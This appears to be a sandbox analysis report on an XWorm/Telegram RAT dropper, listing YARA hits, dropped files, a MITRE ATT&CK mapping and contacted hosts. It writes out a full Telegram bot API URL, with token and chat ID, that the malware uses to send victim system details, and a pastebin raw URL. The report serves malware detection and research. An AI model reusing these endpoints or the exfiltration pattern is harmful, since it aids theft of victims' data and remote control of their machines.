Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask VolumeInformation

Source: C:\Windows\System32\dllhost.exe

Code function: 6_2_0000000140002390 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

6_2_0000000140002390

Source: C:\ProgramData\KrnlSetupSus.exe

Code function: 3_2_1C567E50 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

3_2_1C567E50

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Yara detected Telegram RAT

Source: KrnlSetupSus.exe, 00000003.00000002.2829186248.000000001BDD4000.00000004.00000020.00020000.00000000.sdmp, KrnlSetupSus.exe, 00000003.00000002.2829186248.000000001BD24000.00000004.00000020.00020000.00000000.sdmp, KrnlSetupSus.exe, 00000003.00000002.2842606066.000000001C8E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: dllhost.exe, Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.21.dr	Binary or memory string: MsMpEng.exe

Source: C:\ProgramData\KrnlSetupSus.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.1294ef08.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.12964350.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.KrnlSetupSus.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.1404695399.0000000000BC2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1406303961.0000000012938000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2814408565.0000000012DF2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RdLfpZY5A9.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: KrnlSetupSus.exe PID: 7424, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\ntoskrnl.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\KrnlSetupSus.exe, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.1294ef08.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.12964350.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.KrnlSetupSus.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.1404695399.0000000000BC2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1406303961.0000000012938000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2788044587.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2814408565.0000000012DF2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RdLfpZY5A9.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: KrnlSetupSus.exe PID: 7424, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\ntoskrnl.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\KrnlSetupSus.exe, type: DROPPED
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Remote Access Functionality

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.1294ef08.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.12964350.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.KrnlSetupSus.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.1404695399.0000000000BC2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1406303961.0000000012938000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2814408565.0000000012DF2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RdLfpZY5A9.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: KrnlSetupSus.exe PID: 7424, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\ntoskrnl.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\KrnlSetupSus.exe, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.1294ef08.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.12964350.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.12964350.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.KrnlSetupSus.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RdLfpZY5A9.exe.1294ef08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.1404695399.0000000000BC2000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1406303961.0000000012938000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2788044587.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2814408565.0000000012DF2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RdLfpZY5A9.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: KrnlSetupSus.exe PID: 7424, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\ntoskrnl.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\KrnlSetupSus.exe, type: DROPPED
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	11 Archive Collected Data	2 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	21 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Abuse Elevation Control Mechanism	Security Account Manager	34 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	813 Process Injection	21 Obfuscated Files or Information	NTDS	561 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	1 Scheduled Task/Job	1 Install Root Certificate	LSA Secrets	2 Process Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Registry Run Keys / Startup Folder	32 Software Packing	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	13 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	4 Rootkit	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	111 Masquerading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Modify Registry	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	151 Virtualization/Sandbox Evasion	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Access Token Manipulation	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service
Business Relationships	Server	Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	813 Process Injection	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Internal Proxy	Commonly Used Port	Direct Network Flood
Identify Business Tempo	Botnet	Hardware Additions	Python	Hypervisor	Process Injection	1 Hidden Files and Directories	Credential API Hooking	Domain Groups	Exploitation of Remote Services	Remote Email Collection	External Proxy	Transfer Data to Cloud Account	Reflection Amplification

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
RdLfpZY5A9.exe	66%	ReversingLabs	Win32.Exploit.Xworm
RdLfpZY5A9.exe	100%	Avira	TR/Dropper.Gen
RdLfpZY5A9.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\ntoskrnl.exe	100%	Avira	TR/Spy.Gen
C:\ProgramData\KrnlSetupSus.exe	100%	Avira	TR/Spy.Gen
C:\ProgramData\Install.exe	100%	Avira	TR/Dropper.MSIL.Gen
C:\ProgramData\ntoskrnl.exe	100%	Joe Sandbox ML
C:\ProgramData\KrnlSetupSus.exe	100%	Joe Sandbox ML
C:\ProgramData\Install.exe	100%	Joe Sandbox ML
C:\ProgramData\Install.exe	70%	ReversingLabs	ByteCode-MSIL.Infostealer.Tinba
C:\ProgramData\KrnlSetupSus.exe	74%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
C:\ProgramData\ntoskrnl.exe	74%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT

Source	Detection	Scanner	Label
https://excel.office.comcomverUX	0%	Avira URL Cloud	safe
https://excel.office.comcom	0%	Avira URL Cloud	safe
http://crl3.dX	0%	Avira URL Cloud	safe
http://cacerts.digicer	0%	Avira URL Cloud	safe
http://crl.mU	0%	Avira URL Cloud	safe
https://powerpoint.office.comSRD13	0%	Avira URL Cloud	safe
https://excel.office.comcomD	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ip-api.com	208.95.112.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
pastebin.com	104.20.4.235	true	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot6521061783:AAG8RBSc5RacffL-i60qrqMJYo0j7RajlZI/sendMessage?chat_id=5999137434&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A1A2A8BD1A549B29BFB2C%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20KMXL7DUF%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20ezzznikka	false	high
https://pastebin.com/raw/Zx6DUkf9	false	high
http://ip-api.com/line/?fields=hosting	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://cacerts.digicer	lsass.exe, 0000000A.00000000.1462114586.00000213BCE49000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1499817567.000001A84BBE4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1499817567.000001A84BA3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1639704438.000001FE742FF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 0000000A.00000002.2781804179.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1462114586.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.telegram.org	KrnlSetupSus.exe, 00000003.00000002.2788044587.0000000002E58000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.1574489428.000001FE644B9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 0000000A.00000002.2781804179.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1462114586.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 0000000A.00000002.2781804179.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1462114586.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	RdLfpZY5A9.exe, 00000000.00000002.1406303961.0000000012938000.00000004.00000800.00020000.00000000.sdmp, KrnlSetupSus.exe, 00000003.00000002.2788044587.0000000002E58000.00000004.00000800.00020000.00000000.sdmp, KrnlSetupSus.exe, 00000003.00000000.1404695399.0000000000BC2000.00000002.00000001.01000000.00000007.sdmp, KrnlSetupSus.exe, 00000003.00000002.2814408565.0000000012DF2000.00000004.00000800.00020000.00000000.sdmp, ntoskrnl.exe.3.dr, KrnlSetupSus.exe.0.dr	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.1574489428.000001FE644B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://excel.office.comcomverUX	svchost.exe, 00000026.00000002.2851123879.000001E7316EE000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.1637024300.000001E7316EE000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.1574489428.000001FE644B9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.mU	powershell.exe, 00000008.00000002.1661530005.000001FE7C9C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000004.00000002.1460763535.000001A83CB18000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000008.00000002.1639704438.000001FE742FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000008.00000002.1639704438.000001FE742FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/pwaimages	svchost.exe, 00000026.00000003.1868296432.000001E73150D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.1868219050.000001E73150B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.1879111396.000001E73150F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.1867927983.000001E731506000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.1867055083.000001E731284000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.1631048778.000001E731284000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 0000000A.00000002.2781804179.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1462114586.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://excel.office.com	svchost.exe, 00000026.00000000.1637024300.000001E7316EE000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.micro	svchost.exe, 00000014.00000000.1529745173.000001486A5B0000.00000002.00000001.00040000.00000000.sdmp	false		high
https://api.telegram.org/bot6521061783:AAG8RBSc5RacffL-i60qrqMJYo0j7RajlZI/sendMessage?chat_id=59991	KrnlSetupSus.exe, 00000003.00000002.2788044587.0000000002E58000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.1574489428.000001FE644B9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.m	powershell.exe, 00000008.00000002.1661530005.000001FE7C9C1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 0000000A.00000002.2784025067.00000213BCE4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1462178679.00000213BCE4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2781804179.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1462114586.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://excel.office.comSRD1%	svchost.exe, 00000026.00000002.2806525834.000001E730F00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.1865572552.000001E7315D7000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.1634316076.000001E731510000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.1627188967.000001E730F00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.1865374046.000001E7313E5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.1890613326.000001E7312FC000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.1636269536.000001E731666000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 0000000A.00000002.2781804179.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1462114586.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.1574489428.000001FE644B9000.00000004.00000800.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2781804179.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1462114586.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000008.00000002.1639704438.000001FE742FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1499817567.000001A84BA3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1639704438.000001FE742FF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://powerpoint.office.comSRD13	svchost.exe, 00000026.00000002.2847177850.000001E731665000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.1634316076.000001E731510000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.1890613326.000001E7312FC000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.1636269536.000001E731666000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.comSRD1-	svchost.exe, 00000026.00000000.1627319960.000001E730F3F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.2813637580.000001E730F43000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.1865374046.000001E7313E5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.1890613326.000001E7312FC000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.1636269536.000001E731666000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.1880000522.000001E730F41000.00000004.00000001.00020000.00000000.sdmp	false		high
https://excel.office.comcom	svchost.exe, 00000026.00000000.1637024300.000001E7316EE000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
